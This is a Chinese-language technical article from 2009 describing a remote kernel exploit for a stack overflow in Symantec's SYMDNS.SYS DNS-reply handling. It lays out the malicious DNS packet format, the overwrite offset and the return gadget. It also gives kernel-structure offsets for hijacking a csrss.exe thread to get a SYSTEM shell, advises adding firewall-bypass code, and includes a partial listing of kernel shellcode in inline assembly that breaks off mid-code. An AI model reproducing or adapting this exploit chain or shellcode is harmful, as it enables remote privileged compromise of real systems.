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作者:佚名 来源:中国IT实验室 2009年12月18日
关键字: 网络安全
这个漏洞发生在SYMDNS.SYS中,当处理DNS答复时,由于未检验总域名长度,导致可以输入一超长域名导致溢出,溢出发生在RING0、IRQL = 2(DISPATCH_LEVEL)、 进程PID为0(idle进程)的环境下。
一个DNS报文格式如下:
"\\xEB\\x0B" //报文ID,可以随意设置,但在这个漏洞里是别有用途的,后面会说到
"\\x80\\x00" //报文FLAG,15位置1表示这是一个答复报文
"\\x00\\x01" //问题数量
"\\x00\\x01" //答复数量
"\\xXX\\xXX" //授权资源记录数,在这里不重要,随便设置
"\\xXX\\xXX" //格外信息资源记录数,在这里不重要,随便设置
以上部分为DNS报文头
"\\xXX\\xXX\\x..." //域名,格式为每个分段域名长度+域名内容,比如www.buaa.edu.cn就是
\\x03\\x77\\x77\\x77\\x04\\x62\\x75\\x61\\x61\\x03\\x65\\x64\\x75\\x02\\x63\\x6e\\x00
w w w b u a a e d u c n
\\x00表示到了末尾。处理的时候会把那长度记录数换成0x2e,就是".",就完成了处理。
在SYMDNS.SYS中处理传入域名的函数位于SYMDNS.SYS基地址+0xa76处,这个函数在堆栈里分配了足够的空间(事实上,最后SHELLCODE的执行并不是在堆栈中执行,而是在非分页池中执行)。传入的域名有最大长度限制,不能超过0x40个字节,所以我每段SHELLCODE长度都是0x3f(63)个字节。在覆盖了532个字节后,覆盖了第二个调用的返回地址,至于为什么没覆盖第一个调用的返回地址我也不太清楚。这个漏洞有个特点,就是在堆栈中二次处理传入的域名,导致堆栈中SHELLCODE后半部分面目全非、惨不忍睹。但很幸运的是在我们覆盖的返回地址所在的esp+0xc处保存有我们整个DNS报文(包括DNS报文头)的地址,是一个在非分页池的地址,
74816d74 4c816c9b 816d002e 816c9e34
|_____esp指向这 |_______这个就是非分页池的地址
现在大家应该知道该干啥了吧?虽然在内核里没有固定的jmp [esp+0xc]、 call [esp+0xc]这样的地址,但我们可以变通一下,使用诸如pop/pop/pop/ret这样的指令组合,机器的控制权就交到我们手上了。不过这3条pop指令里最好不要带有pop ebp,不然会莫名其妙的返回到一个奇怪的地址。在strstr函数的最后有两个pop/pop/pop/ret的组合挺合适。现在明白开头那个报文ID的作用了吧?\\xEB\\x0B是一个直接跳转的机器指令,跳过一开始没用的DNS报文头和第一段SHELLCODE长度计数字节。FLASHSKY在会刊里说要跳过长度计数字节,但0x3f对应的指令是aas,对EAX进行ascii调整,所以在一般不影响EAX和标志的情况下可以把这个0x3f也算作SHELLCODE的一部分,可以省下不少字节^_^。
现在当前环境是0号进程,要把进程地址空间切到其他进程就得先获得那个进程的EPROCESS地址。0号进程很特别,就是该进程基本不挂在所有进程的链表上,比如说ActiveProcessLinks、SessionProcessLinks、WorkingSetExpansionLinks,正常情况来说只能枚举线程的WaitListHead来枚举所有线程并判断进程,这样很麻烦而已代码很长,但天无绝人之路,在KPCR+0x55c(+55c struct _KTHREAD *NpxThread)处保存有一个8号进程的一个线程ETHREAD地址,由ETHREAD+0x44处可以获得该线程所属EPROCESS的地址,而且8号进程是挂在除SessionProcessLinks之外的其它链表上的。下一步是切换进程地址空间,从目标进程EPROCESS+0x18处取出该进程页目录的物理地址并将当前CR3寄存器修改为该值既可(我一开始还修改了任务段KTSS中的CR3也为该值,结果发现这不是必须的)。然后在该进程内选择一个合适的线程来运行我们的用户态SHELLCODE,这个选择很重要,因为当前IRQL = 2,任何访问缺页的地址都将导致IRQL_NOT_LESS_OR_EQUAL蓝屏错误,因为缺页会导致页面I/O,最后会在对象上等待,这违背了不能在IRQL = 2等待对象的规则。按照一个标准的5调度状态模型的操作系统,当一个线程等待过久就会导致该线程的内核堆栈被换出内存,这样的线程我们是不能用的。所以我们需要判断ETHREAD+=0x11e(+11e byte KernelStackResident)是否为TRUE。这又关系到究竟该选择哪个系统进程,选择系统进程这样返回的SHELL是SYSTEM的权限,该进程必须是个活跃的进程,才能保证每时每刻都有未被换出内存的线程。winlogon.exe是肯定不行的,因为在大多情况下这是一个0工作集进程。在lsass.exe、smss.exe、csrss.exe这3个进程里我最后选择了csrss.exe,因为WIN32的子系统无论怎样都应该闲不住吧:),事实也证明选择这个进程基本都可以找到合适线程。枚举一个进程的线程可以在EPROCESS+0x50处取链表头,该链表链住了该进程的所有线程,链表位置在ETHREAD+0x1a4处:
struct _EPROCESS (sizeof=648)
+000 struct _KPROCESS Pcb
+050 struct _LIST_ENTRY ThreadListHead
+050 struct _LIST_ENTRY *Flink
+054 struct _LIST_ENTRY *Blink
struct _ETHREAD (sizeof=584)
+000 struct _KTHREAD Tcb
+1a4 struct _LIST_ENTRY ThreadListEntry
+1a4 struct _LIST_ENTRY *Flink
+1a8 struct _LIST_ENTRY *Blink
或者EPROCESS+0x270处取链表头,链表位置在ETHREAD+0x240处:
struct _EPROCESS (sizeof=648)
+270 struct _LIST_ENTRY ThreadListHead
+270 struct _LIST_ENTRY *Flink
+274 struct _LIST_ENTRY *Blink
struct _ETHREAD (sizeof=584)
+240 struct _LIST_ENTRY ThreadListEntry
+240 struct _LIST_ENTRY *Flink
+244 struct _LIST_ENTRY *Blink
剩下的就是在该进程地址空间内分配虚拟地址,锁定,并拷贝SHELLCODE过去,依次调用API为:ZwOpenProcess(这里要注意,如果没改变CR3的话这个调用会导致蓝屏,因为地址空间不符)->ZwAllocateVirtualMemory->ZwLockVirtualMemory->ZwWriteVirtualMemory,为了通用性我用mov eax, API NUMBER; int 2e这样的底层接口来调用API。在调用ZwWriteVirtualMemory之前我们得先修改该线程下次要执行的EIP,它是保存在KTRAP_FRAME+0x68处,把它修改为我们分配的地址。KTRAP_FRAME在线程堆栈底-x29c的地方,ETHREAD+0x128直接指向该地址。记得将原来的EIP保存在我们的用户态SHELLCODE中,类似push 0x12345678; ret这样的格式,代码就会返回12345678的地址,所以在内存中就是\\x68\\x78\\x56\\x34\\x12\\xc3,覆盖那个12345678就行了,在执行完我们的功能代码后线程会恢复正常执行。
最后一段是一些固定的针对该漏洞的特征返回,恢复一些寄存器值,把ESP指向返回地址并让EBP恢复正常。这里我跳过了所有剩下的在SYMDNS.SYS的调用,因为那样会从堆栈中取值,而堆栈值很多都被我们改了,所以我直接返回到tcpip!UDPDeliver处的调用,返回这里有个好处,就是它完全不管你处理了什么、怎么处理,它只管检测返回值,很符合我们的要求,呵呵。
这个SHELLCODE大概只有3/4的成功率,因为在有些情况下我们的DNS报文的地址不附加在esp+0xc处,还有有时会碰到进程所有线程都被换出了内存,还有一定的小概率会发生NDIS死锁-_-有时候RP爆发时一天都没啥问题,有时虚拟机狂蓝屏。。。所以我的利用方法还不很成熟,还希望大家一起来讨论完善。有关内核溢出里最大的问题估计就是缺页的问题了,由于IRQL = 2下不能换页,所以有些情况下很可能有些关键的地方访问不了。一些变通的方法可以使用诸如work item,这可以在IRQL = 2下调用,然后由系统工作者线程来替我们完成工作。这都是些改进设想。搞定了安全返回的方法,现在正在KO非安全返回,估计也不是很难,但就是估计SHELLCODE会大很多。
峰会上由于FLASHSKY大牛不肯透露源代码,所以只好自己动手,丰衣足食了。这段时间由于得复习补考(上学期一不小心挂了4门#_#),所以拖了这么久。其实代码很早就写好了,就是懒得写这篇文档。今早终于下定决心花了一上午完成了这篇文档,估计难免有什么错误,望大家指出。
SHELLCODE由内核SHELLCODE和用户SHELLCODE组成,内核SHELLCODE负责返回并执行用户SHELLCODE,用户SHELLCODE则是普通的功能,注意得加入穿防火墙的代码就行。下面是内核SHELLCODE代码,转成机器码只有260多个字节,基本不算太大:):
__declspec(naked) JustTest()
{
__asm
{
call go1
go1:
pop eax
push eax
mov ebx, 0xffdff55c
mov ebx, dword ptr [ebx]
mov ebx, dword ptr [ebx+0x44]
push 0x73727363
FindProcess:
mov edi, esp
lea esi, dword ptr [ebx+0x1fc]
push 0x4
pop ecx
repe cmpsb
jecxz go2
mov ebx, dword ptr [ebx+0xa0]
sub ebx, 0xa0
jmp FindProcess
go2:
pop edx
mov edx, dword ptr [ebx+0x50]
FindThread:
movzx ecx, byte ptr [edx-0x86]
dec ecx
jecxz go3
mov edx, dword ptr [edx]
jmp FindThread
go3:
mov eax, dword ptr [ebx+0x18]
mov ebp, esp
sub esp, 0x40
push edx
mov cr3, eax
push 0x10
pop ecx
xor eax, eax
lea edi, dword ptr [ebp-0x40]
ZeroStack:
stosd
loop ZeroStack
mov byte ptr [ebp-0x38], 0x18
lea edi, dword ptr [edx+0x3c]
push edi
lea edi, dword ptr [ebp-0x38]
push edi
lea edi, dword ptr [ebp-0x8]
push 0x1f0fff
push edi
mov al, 0x6a
lea edx, dword ptr [esp]
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